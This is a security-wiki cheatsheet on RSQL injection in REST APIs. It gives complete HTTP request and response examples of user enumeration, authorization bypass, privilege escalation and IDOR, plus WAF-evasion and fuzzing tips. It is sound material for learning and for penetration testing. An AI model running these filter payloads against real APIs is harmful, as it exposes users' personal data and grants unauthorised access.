daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

rsql-injection.md (28871B)


      1 ---
      2 title: "RSQL Injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/rsql-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/rsql-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # RSQL Injection
     14 
     15 ## What is RSQL?
     16 RSQL is a query language designed for parameterized filtering of inputs in RESTful APIs. Based on FIQL (Feed Item Query Language), originally specified by Mark Nottingham for querying Atom feeds, RSQL stands out for its simplicity and ability to express complex queries in a compact and URI-compliant way over HTTP. This makes it an excellent choice as a general query language for REST endpoint searching.<sup>[[1]](#references)</sup>
     17 
     18 ## Overview
     19 RSQL injection occurs when an application exposes attacker-controlled RSQL filters without constraining the permitted fields, relations, and operators. Unlike [SQL injection](/hacktricks/pentesting-web/sql-injection/overview) or [LDAP injection](/hacktricks/pentesting-web/ldap-injection), RSQL normally builds read filters rather than raw database statements; the typical impact is unauthorized data access, enumeration, or authorization bypass. Modification or deletion requires an application-specific endpoint that applies attacker-controlled filters to a mutation.<sup>[[1]](#references)</sup>
     20 
     21 ## How does it work?
     22 RSQL allows you to build advanced queries in RESTful APIs, for example:
     23 ```bash
     24 /products?filter=price>100;category==electronics
     25 ```
     26 
     27 This translates to a structured query that filters products with price greater than 100 and category “electronics”.
     28 
     29 If the application does not correctly validate user input, an attacker could manipulate the filter to execute unexpected queries, such as:
     30 ```bash
     31 /products?filter=id=in=(1,2,3);delete_all==true
     32 ```
     33 An attacker can also extract sensitive information through Boolean query oracles and nested relationship filters.
     34 
     35 ## Risks
     36 - **Exposure of sensitive data:** An attacker can retrieve information that should not be accessible.<sup>[[1]](#references)</sup>
     37 - **Data modification or deletion:** Possible when a mutation endpoint uses the injected filter to select records for update or deletion; filter injection alone is generally read-only.
     38 - **Privilege escalation:** Manipulation of identifiers that grant roles through filters to trick the application by accessing with privileges of other users.
     39 - **Evasion of access controls:** Manipulation of filters to access restricted data.
     40 - **Impersonation or IDOR:** Modification of identifiers between users through filters that allow access to information and resources of other users without being properly authenticated as such.
     41 
     42 ## Supported RSQL operators
     43 | Operator  | Description | Example  |
     44 |:----: |:----: |:------------------:|
     45 | `;` / `and` | Logical **AND** operator. Filters rows where *both* conditions are *true* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
     46 | `,` / `or` | Logical **OR** operator. Filters rows where *at least one* condition is *true*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
     47 | `==` | Performs an **equals** query. Returns all rows from *myTable* where values in *columnA* exactly equal *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
     48 | `=q=` | Performs a **search** query. Returns all rows from *myTable* where values in *columnA* contain *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
     49 | `=like=` | Performs a **like** query. Returns all rows from *myTable* where values in *columnA* are like *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
     50 | `=in=` | Performs an **in** query. Returns all rows from *myTable* where *columnA* contains *valueA* OR *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
     51 | `=out=` | Performs an **exclude** query. Returns all rows of *myTable* where the values in *columnA* are neither *valueA* nor *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
     52 | `!=` | Performs a *not equals* query. Returns all rows from *myTable* where values in *columnA* do not equal *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
     53 | `=notlike=` | Performs a **not like** query. Returns all rows from *myTable* where values in *columnA* are not like *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
     54 | `<` & `=lt=` | Performs a **less-than** query. Returns rows where values in *columnA* are less than *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
     55 | `=le=` & `<=` | Performs a **less-than-or-equal** query. Returns rows where values in *columnA* are less than or equal to *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
     56 | `>` & `=gt=` | Performs a **greater than** query. Returns all rows from *myTable* where values in *columnA* are greater than *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
     57 | `>=` & `=ge=` | Performs a **equal** to or **greater than** query. Returns all rows from *myTable* where values in *columnA* are equal to or greater than *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
     58 | `=rng=` | Performs a **range** query. Returns rows where values in *columnA* are greater than or equal to *fromValue* and less than or equal to *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
     59 
     60 **Note**: Table based on information from [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) and [**rsql-parser**](https://github.com/jirutka/rsql-parser) applications.<sup>[[2]](#references)</sup><sup>[[3]](#references)</sup>
     61 
     62 #### Examples
     63 - name=="Kill Bill";year=gt=2003
     64 - name=="Kill Bill" and year>2003
     65 - genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
     66 - genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
     67 - director.lastName==Nolan;year=ge=2000;year=lt=2010
     68 - director.lastName==Nolan and year>=2000 and year<2010
     69 - genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
     70 - genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
     71 
     72 **Note**: Table based on information from [**rsql-parser**](https://github.com/jirutka/rsql-parser) application.<sup>[[3]](#references)</sup>
     73 
     74 ## Common filters
     75 These filters help refine queries in APIs:
     76 
     77 | Filter | Description | Example |
     78 |--------|------------|---------|
     79 | `filter[users]` | Filters results by specific users | `/api/v2/myTable?filter[users]=123` |
     80 | `filter[status]` | Filters by status (active/inactive, completed, etc.) | `/api/v2/orders?filter[status]=active` |
     81 | `filter[date]` | Filters results within a date range | `/api/v2/logs?filter[date]=gte:2024-01-01` |
     82 | `filter[category]` | Filters by category or resource type | `/api/v2/products?filter[category]=electronics` |
     83 | `filter[id]` | Filters by a unique identifier | `/api/v2/posts?filter[id]=42` |
     84 
     85 
     86 ## Common parameters
     87 These parameters help optimize API responses:
     88 
     89 | Parameter | Description | Example |
     90 |-----------|------------|---------|
     91 | `include` | Includes related resources in the response | `/api/v2/orders?include=customer,items` |
     92 | `sort` | Sorts results in ascending or descending order | `/api/v2/users?sort=-created_at` |
     93 | `page[size]` | Controls the number of results per page | `/api/v2/products?page[size]=10` |
     94 | `page[number]` | Specifies the page number | `/api/v2/products?page[number]=2` |
     95 | `fields[resource]` | Defines which fields to return in the response | `/api/v2/users?fields[users]=id,name,email` |
     96 | `search` | Performs a more flexible search | `/api/v2/posts?search=technology` |
     97 
     98 ## Information leakage and enumeration of users
     99 The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database:<sup>[[4]](#references)</sup>
    100 ### Request
    101 ```text
    102 GET /api/registrations HTTP/1.1
    103 Host: localhost:3000
    104 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    105 Accept: application/vnd.api+json
    106 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    107 Accept-Encoding: gzip, deflate, br, zstd
    108 Content-Type: application/vnd.api+json
    109 Origin: https://localhost:3000
    110 Connection: keep-alive
    111 Referer: https://localhost:3000/
    112 Sec-Fetch-Dest: empty
    113 Sec-Fetch-Mode: cors
    114 Sec-Fetch-Site: same-site
    115 ```
    116 ### Response
    117 ```text
    118 HTTP/1.1 400 
    119 Date: Sat, 22 Mar 2025 14:47:14 GMT
    120 Content-Type: application/vnd.api+json
    121 Connection: keep-alive
    122 Vary: Origin
    123 Vary: Access-Control-Request-Method
    124 Vary: Access-Control-Request-Headers
    125 Access-Control-Allow-Origin: *
    126 Content-Length: 85
    127 
    128 {
    129     "errors": [{
    130         "code": "BLANK",
    131         "detail": "Missing required param: email",
    132         "status": "400"
    133     }]
    134 }
    135 ```
    136 
    137 Although a `/api/registrations?email=<emailAccount>` is expected, it is possible to use RSQL filters to attempt to enumerate and/or extract user information through the use of special operators:
    138 ### Request
    139 ```text
    140 GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
    141 Host: localhost:3000
    142 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    143 Accept: application/vnd.api+json
    144 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    145 Accept-Encoding: gzip, deflate, br, zstd
    146 Content-Type: application/vnd.api+json
    147 Origin: https://locahost:3000
    148 Connection: keep-alive
    149 Referer: https://locahost:3000/
    150 Sec-Fetch-Dest: empty
    151 Sec-Fetch-Mode: cors
    152 Sec-Fetch-Site: same-site
    153 ```
    154 ### Response
    155 ```text
    156 HTTP/1.1 200 
    157 Date: Sat, 22 Mar 2025 14:09:38 GMT
    158 Content-Type: application/vnd.api+json;charset=UTF-8
    159 Content-Length: 38
    160 Connection: keep-alive
    161 Vary: Origin
    162 Vary: Access-Control-Request-Method
    163 Vary: Access-Control-Request-Headers
    164 Access-Control-Allow-Origin: *
    165 
    166 {
    167     "data": {
    168         "attributes": {
    169             "tenants": []
    170         }
    171     }
    172 }
    173 ```
    174 In the case of matching a valid email account, the application would return the user's information instead of a classic *“true”*, *"1"* or whatever in the response to the server:
    175 ### Request
    176 ```text
    177 GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
    178 Host: localhost:3000
    179 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    180 Accept: application/vnd.api+json
    181 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    182 Accept-Encoding: gzip, deflate, br, zstd
    183 Content-Type: application/vnd.api+json
    184 Origin: https://localhost:3000
    185 Connection: keep-alive
    186 Referer: https://localhost:3000/
    187 Sec-Fetch-Dest: empty
    188 Sec-Fetch-Mode: cors
    189 Sec-Fetch-Site: same-site
    190 ```
    191 ### Response
    192 ```text
    193 HTTP/1.1 200 
    194 Date: Sat, 22 Mar 2025 14:19:46 GMT
    195 Content-Type: application/vnd.api+json;charset=UTF-8
    196 Content-Length: 293
    197 Connection: keep-alive
    198 Vary: Origin
    199 Vary: Access-Control-Request-Method
    200 Vary: Access-Control-Request-Headers
    201 Access-Control-Allow-Origin: *
    202 
    203 {
    204     "data": {
    205         "id": "********************",
    206         "type": "UserAccountDTO",
    207         "attributes": {
    208             "id": "********************",
    209             "type": "UserAccountDTO",
    210             "email": "manuel**********@domain.local",
    211             "sub": "*********************",
    212             "status": "ACTIVE",
    213             "tenants": [{
    214                 "id": "1"
    215             }]
    216         }
    217     }
    218 }
    219 ```
    220 ## Authorization evasion
    221 In this scenario, we start from a user with a basic role and in which we do not have privileged permissions (e.g. administrator) to access the list of all users registered in the database:<sup>[[4]](#references)</sup>
    222 ### Request
    223 ```text
    224 GET /api/users HTTP/1.1
    225 Host: localhost:3000
    226 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    227 Accept: application/vnd.api+json
    228 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    229 Accept-Encoding: gzip, deflate, br, zstd
    230 Content-Type: application/vnd.api+json
    231 Authorization: Bearer eyJhb.................
    232 Origin: https://localhost:3000
    233 Connection: keep-alive
    234 Referer: https://localhost:3000/
    235 Sec-Fetch-Dest: empty
    236 Sec-Fetch-Mode: cors
    237 Sec-Fetch-Site: same-site
    238 ```
    239 ### Response
    240 ```text
    241 HTTP/1.1 403 
    242 Date: Sat, 22 Mar 2025 14:40:07 GMT
    243 Content-Length: 0
    244 Connection: keep-alive
    245 Vary: Origin
    246 Vary: Access-Control-Request-Method
    247 Vary: Access-Control-Request-Headers
    248 Access-Control-Allow-Origin: *
    249 ```
    250 
    251 Again we make use of the filters and special operators that will allow us an alternative way to obtain the information of the users and evading the access control.
    252 For example, filter by those *users* that contain the letter “*a*” in their user *ID*:
    253 ### Request
    254 ```text
    255 GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
    256 Host: localhost:3000
    257 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    258 Accept: application/vnd.api+json
    259 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    260 Accept-Encoding: gzip, deflate, br, zstd
    261 Content-Type: application/vnd.api+json
    262 Authorization: Bearer eyJhb.................
    263 Origin: https://localhost:3000
    264 Connection: keep-alive
    265 Referer: https://localhost:3000/
    266 Sec-Fetch-Dest: empty
    267 Sec-Fetch-Mode: cors
    268 Sec-Fetch-Site: same-site
    269 ```
    270 ### Response
    271 ```text
    272 HTTP/1.1 200 
    273 Date: Sat, 22 Mar 2025 14:43:28 GMT
    274 Content-Type: application/vnd.api+json;charset=UTF-8
    275 Content-Length: 1434192
    276 Connection: keep-alive
    277 Vary: Origin
    278 Vary: Access-Control-Request-Method
    279 Vary: Access-Control-Request-Headers
    280 Access-Control-Allow-Origin: *
    281 
    282 {
    283     "data": [{
    284         "id": "********A***********",
    285         "type": "UserGetResponseCustomDTO",
    286         "attributes": {
    287             "status": "ACTIVE",
    288             "countryId": 63,
    289             "timeZoneId": 3,
    290             "translationKey": "************",
    291             "email": "**********@domain.local",
    292             "firstName": "rafael",
    293             "surname": "************",
    294             "telephoneCountryCode": "**",
    295             "mobilePhone": "*********",
    296             "taxIdentifier": "********",
    297             "languageId": 1,
    298             "createdAt": "2024-08-09T10:57:41.237Z",
    299             "termsOfUseAccepted": true,
    300             "id": "******************",
    301             "type": "UserGetResponseCustomDTO"
    302         }
    303     }, {
    304         "id": "*A*******A*****A*******A******",
    305         "type": "UserGetResponseCustomDTO",
    306         "attributes": {
    307             "status": "ACTIVE",
    308             "countryId": 63,
    309             "timeZoneId": 3,
    310             "translationKey": ""************",
    311             "email": "juan*******@domain.local",
    312             "firstName": "juan",
    313             "surname": ""************",",
    314             "telephoneCountryCode": "**",
    315             "mobilePhone": "************",
    316             "taxIdentifier": "************",
    317             "languageId": 1,
    318             "createdAt": "2024-07-18T06:07:37.68Z",
    319             "termsOfUseAccepted": true,
    320             "id": "*******************",
    321             "type": "UserGetResponseCustomDTO"
    322         }
    323     }, {
    324         ................
    325 ```
    326 
    327 ## Privilege Escalation
    328 It is very likely to find certain endpoints that check user privileges through their role. For example, we are dealing with a user who has no privileges:<sup>[[4]](#references)</sup>
    329 ### Request
    330 ```text
    331 GET /api/companyUsers?include=role HTTP/1.1
    332 Host: localhost:3000
    333 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    334 Accept: application/vnd.api+json
    335 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    336 Accept-Encoding: gzip, deflate, br, zstd
    337 Content-Type: application/vnd.api+json
    338 Authorization: Bearer eyJhb......
    339 Origin: https://localhost:3000
    340 Connection: keep-alive
    341 Referer: https://localhost:3000/
    342 Sec-Fetch-Dest: empty
    343 Sec-Fetch-Mode: cors
    344 Sec-Fetch-Site: same-site
    345 ```
    346 ### Response
    347 ```text
    348 HTTP/1.1 200 
    349 Date: Sat, 22 Mar 2025 19:13:08 GMT
    350 Content-Type: application/vnd.api+json;charset=UTF-8
    351 Content-Length: 11
    352 Connection: keep-alive
    353 Vary: Origin
    354 Vary: Access-Control-Request-Method
    355 Vary: Access-Control-Request-Headers
    356 Access-Control-Allow-Origin: *
    357 
    358 {
    359     "data": []
    360 }
    361 ```
    362 
    363 Using certain operators we could enumerate administrator users:
    364 ### Request
    365 ```text
    366 GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
    367 Host: localhost:3000
    368 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    369 Accept: application/vnd.api+json
    370 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    371 Accept-Encoding: gzip, deflate, br, zstd
    372 Content-Type: application/vnd.api+json
    373 Authorization: Bearer eyJh.....
    374 Origin: https://localhost:3000
    375 Connection: keep-alive
    376 Referer: https://localhost:3000/
    377 Sec-Fetch-Dest: empty
    378 Sec-Fetch-Mode: cors
    379 Sec-Fetch-Site: same-site
    380 ```
    381 ### Response
    382 ```text
    383 HTTP/1.1 200 
    384 Date: Sat, 22 Mar 2025 19:13:45 GMT
    385 Content-Type: application/vnd.api+json;charset=UTF-8
    386 Content-Length: 361
    387 Connection: keep-alive
    388 Vary: Origin
    389 Vary: Access-Control-Request-Method
    390 Vary: Access-Control-Request-Headers
    391 Access-Control-Allow-Origin: *
    392 
    393 {
    394     "data": [{
    395         "type": "CompanyUserGetResponseDTO",
    396         "attributes": {
    397             "companyId": "FA**************",
    398             "companyTaxIdentifier": "B999*******",
    399             "bizName": "company sl",
    400             "email": "jose*******@domain.local",
    401             "userRole": {
    402                 "userRoleId": 1,
    403                 "userRoleKey": "general.roles.admin"
    404             },
    405             "companyCountryTranslationKey": "*******",
    406             "type": "CompanyUserGetResponseDTO"
    407         }
    408     }]
    409 }
    410 ```
    411 
    412 After knowing an identifier of an administrator user, it would be possible to exploit a privilege escalation by replacing or adding the corresponding filter with the administrator's identifier and getting the same privileges:
    413 ### Request
    414 ```text
    415 GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
    416 Host: localhost:3000
    417 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    418 Accept: application/vnd.api+json
    419 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    420 Accept-Encoding: gzip, deflate, br, zstd
    421 Content-Type: application/vnd.api+json
    422 Authorization: Bearer eyJ.....
    423 Origin: https:/localhost:3000
    424 Connection: keep-alive
    425 Referer: https:/localhost:3000/
    426 Sec-Fetch-Dest: empty
    427 Sec-Fetch-Mode: cors
    428 Sec-Fetch-Site: same-site
    429 ```
    430 ### Response
    431 ```text
    432 HTTP/1.1 200 
    433 Date: Sat, 22 Mar 2025 18:53:00 GMT
    434 Content-Type: application/vnd.api+json;charset=UTF-8
    435 Content-Length: 68833
    436 Connection: keep-alive
    437 Vary: Origin
    438 Vary: Access-Control-Request-Method
    439 Vary: Access-Control-Request-Headers
    440 Access-Control-Allow-Origin: *
    441 
    442 {
    443     "meta": {
    444         "Functionalities": [{
    445             "functionalityId": 1,
    446             "permissionId": 1,
    447             "effectivePriority": "PERMIT",
    448             "effectiveBehavior": "PERMIT",
    449             "translationKey": "general.userProfile",
    450             "type": "FunctionalityPermissionDTO"
    451         }, {
    452             "functionalityId": 2,
    453             "permissionId": 2,
    454             "effectivePriority": "PERMIT",
    455             "effectiveBehavior": "PERMIT",
    456             "translationKey": "general.my_profile",
    457             "type": "FunctionalityPermissionDTO"
    458         }, {
    459             "functionalityId": 3,
    460             "permissionId": 3,
    461             "effectivePriority": "PERMIT",
    462             "effectiveBehavior": "PERMIT",
    463             "translationKey": "layout.change_user_data",
    464             "type": "FunctionalityPermissionDTO"
    465         }, {
    466             "functionalityId": 4,
    467             "permissionId": 4,
    468             "effectivePriority": "PERMIT",
    469             "effectiveBehavior": "PERMIT",
    470             "translationKey": "general.configuration",
    471             "type": "FunctionalityPermissionDTO"
    472         }, {
    473             ....
    474         }]
    475     }
    476 }
    477 ```
    478 
    479 
    480 ## Impersonate or Insecure Direct Object References (IDOR)
    481 Besides `filter`, parameters such as `include` may expose related resources or fields in the result (for example language, country, or password data).<sup>[[4]](#references)</sup>
    482 
    483 In the following example, the information of our user profile is shown:
    484 ### Request
    485 ```text
    486 GET /api/users?include=language,country HTTP/1.1
    487 Host: localhost:3000
    488 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    489 Accept: application/vnd.api+json
    490 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    491 Accept-Encoding: gzip, deflate, br, zstd
    492 Content-Type: application/vnd.api+json
    493 Authorization: Bearer eyJ...
    494 Origin: https://localhost:3000
    495 Connection: keep-alive
    496 Referer: https://localhost:3000/
    497 Sec-Fetch-Dest: empty
    498 Sec-Fetch-Mode: cors
    499 Sec-Fetch-Site: same-site
    500 ```
    501 ### Response
    502 ```text
    503 HTTP/1.1 200 
    504 Date: Sat, 22 Mar 2025 19:47:27 GMT
    505 Content-Type: application/vnd.api+json;charset=UTF-8
    506 Content-Length: 540
    507 Connection: keep-alive
    508 Vary: Origin
    509 Vary: Access-Control-Request-Method
    510 Vary: Access-Control-Request-Headers
    511 Access-Control-Allow-Origin: *
    512 
    513 {
    514     "data": [{
    515         "id": "D5********************",
    516         "type": "UserGetResponseCustomDTO",
    517         "attributes": {
    518             "status": "ACTIVE",
    519             "countryId": 63,
    520             "timeZoneId": 3,
    521             "translationKey": "**********",
    522             "email": "domingo....@domain.local",
    523             "firstName": "Domingo",
    524             "surname": "**********",
    525             "telephoneCountryCode": "**",
    526             "mobilePhone": "******",
    527             "languageId": 1,
    528             "createdAt": "2024-03-11T07:24:57.627Z",
    529             "termsOfUseAccepted": true,
    530             "howMeetUs": "**************",
    531             "id": "D5********************",
    532             "type": "UserGetResponseCustomDTO"
    533         }
    534     }]
    535 }
    536 ```
    537 
    538 The combination of filters can be used to evade authorization control and gain access to other users' profiles:
    539 ### Request
    540 ```text
    541 GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
    542 Host: localhost:3000
    543 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
    544 Accept: application/vnd.api+json
    545 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    546 Accept-Encoding: gzip, deflate, br, zstd
    547 Content-Type: application/vnd.api+json
    548 Authorization: Bearer eyJ...
    549 Origin: https://localhost:3000
    550 Connection: keep-alive
    551 Referer: https://localhost:3000/
    552 Sec-Fetch-Dest: empty
    553 Sec-Fetch-Mode: cors
    554 Sec-Fetch-Site: same-site
    555 ```
    556 ### Response
    557 ```text
    558 HTTP/1.1 200 
    559 Date: Sat, 22 Mar 2025 19:50:07 GMT
    560 Content-Type: application/vnd.api+json;charset=UTF-8
    561 Content-Length: 520
    562 Connection: keep-alive
    563 Vary: Origin
    564 Vary: Access-Control-Request-Method
    565 Vary: Access-Control-Request-Headers
    566 Access-Control-Allow-Origin: *
    567 
    568 {
    569     "data": [{
    570         "id": "94******************",
    571         "type": "UserGetResponseCustomDTO",
    572         "attributes": {
    573             "status": "ACTIVE",
    574             "countryId": 63,
    575             "timeZoneId": 2,
    576             "translationKey": "**************",
    577             "email": "jose******@domain.local",
    578             "firstName": "jose",
    579             "surname": "***************",
    580             "telephoneCountryCode": "**",
    581             "mobilePhone": "********",
    582             "taxIdentifier": "*********",
    583             "languageId": 1,
    584             "createdAt": "2024-11-21T08:29:05.833Z",
    585             "termsOfUseAccepted": true,
    586             "id": "94******************",
    587             "type": "UserGetResponseCustomDTO"
    588         }
    589     }]
    590 }
    591 ```
    592 
    593 
    594 ## Detection and Fuzzing Quick Wins
    595 - Check for RSQL support by sending harmless probes like `?filter=id==test`, `?q==test` or malformed operators `=foo=`; verbose APIs often leak parser errors ("Unknown operator" / "Unknown property").
    596 - `rsql-parser`-style grammars reserve `" ' ( ) ; , = ! ~ < >`; if a selector/value containing one of those characters only works once quoted (for example `name=='a,b'`), you have a useful fingerprint and a hint that input validation is happening on only part of the expression.
    597 - Don't stop at `filter[users]`: Elide-style JSON:API backends may accept both type-specific filters such as `filter[user]=role==admin` and a global `filter=authors.name=='Null Ned';title=='Life with Null Ned'` that traverses relationships.<sup>[[5]](#references)</sup>
    598 - Probe operator support to fingerprint the translator layer, not just the parser: `==*foo*`, `=ini=*foo*`, `=isnull=true`, `=isempty=true`, `=between=(1,10)` or `=hasmember=` usually reveal Elide/custom JPA translators with a much larger attack surface. In Elide 5+ the default FIQL behavior is case-sensitive, so comparing `name==admin` with `name=ini=*ADMIN*` is also a useful fingerprint.<sup>[[5]](#references)</sup>
    599 - Pull `/doc`, `/swagger` or the OpenAPI document when present. Elide documents filter parameters for each primitive attribute plus `include`, `sort` and pagination support, which is an easy way to recover valid selectors without brute-forcing field names.<sup>[[5]](#references)</sup>
    600 - Many implementations double-parse URL parameters; try double-encoding `(`, `)`, `*`, `;` (e.g., `%2528admin%2529`) to bypass naive blocklists and WAFs.
    601 - Boolean exfil with wildcards: `filter[users]=email==*%@example.com;status==ACTIVE` and flip logic with `,` (OR) to compare response sizes.
    602 - Range/proximity leaks: `filter[users]=createdAt=rng=(2024-01-01,2025-01-01)` quickly enumerates by year without knowing exact IDs.
    603 
    604 ## Framework-specific abuse (Elide / JPA Specification / JSON:API)
    605 - `rsql-parser` only parses the grammar and explicitly supports custom operators. If you see non-standard operators such as `=like=`, `=ilike=`, `=all=` or `=notAssigned=`, focus your review on the translation layer because that is where unsafe string concatenation usually appears.<sup>[[3]](#references)</sup>
    606 - Elide JSON:API supports both type-specific `filter[TYPE]` parameters and a single global `filter`, and selectors can traverse related models with dotted paths such as `author.books.price.total`. Test the same predicate on root collections and related collections because authorization bugs often exist on only one path.<sup>[[5]](#references)</sup>
    607 - `rsql-jpa-specification` supports public-to-internal property remapping (for example `compCode` -> `company.code`, `compId` -> `company.id`). If the UI or docs expose friendly aliases, fuzz both the alias and the canonical dotted path to discover hidden joins or allow-list gaps.<sup>[[6]](#references)</sup>
    608 - The same library documents direct SQL `LIKE` translation plus configurable escape characters. If the target exposes `=like=`-style operators, test `%`, `_` and the escape character because custom predicates often forget to escape wildcards consistently across MySQL/PostgreSQL/SQL Server.<sup>[[6]](#references)</sup>
    609 - Newer `rsql-jpa-specification` releases also support PostgreSQL `jsonb` traversal (`data.user.id==1`, `data.roles.id==1`) and optional stored-procedure syntax such as `@upper[code]==HELLO` when procedures are whitelisted. If an API exposes either feature, you can often pivot from a simple field filter into nested JSON documents or function-backed selectors that were never meant to be attacker reachable.<sup>[[6]](#references)</sup>
    610 - Elide analytic queries added field arguments/parameterized columns to the RSQL grammar; this was the precondition behind CVE-2022-24827, where a `TEXT` parameter containing `--` could strip the generated authorization `WHERE` clause. On analytics endpoints, always test whether filter operands or field arguments are copied into SQL fragments before server-side auth filters are applied.<sup>[[7]](#references)</sup>
    611 
    612 ## Automation helpers
    613 - **rsql-parser CLI (Java)**: `java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"` validates payloads locally and shows the abstract syntax tree—useful to craft balanced parentheses and custom operators.
    614 - **Python quick builder**: 
    615 ```python
    616 from pyrsql import RSQL
    617 payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
    618 print(str(payload))
    619 ```
    620 - Pair with HTTP fuzzer (ffuf, turbo-intruder) by iterating wildcard positions `*a*`, `*e*`, etc., inside `=in=` lists to enumerate IDs and emails quickly.
    621 
    622 ## References
    623 - [1] [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
    624 - [2] [MOLGENIS documentation](https://molgenis.gitbooks.io/molgenis/content/)
    625 - [3] [rsql-parser](https://github.com/jirutka/rsql-parser)
    626 - [4] [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
    627 - [5] [Elide JSON:API filtering](https://elide.io/pages/guide/v7/10-jsonapi.html)
    628 - [6] [rsql-jpa-specification](https://github.com/perplexhub/rsql-jpa-specification)
    629 - [7] [Elide SQL Injection Security Advisory (CVE-2022-24827) - GHSA-8xpj-9j9g-fc9r](https://github.com/yahoo/elide/security/advisories/GHSA-8xpj-9j9g-fc9r)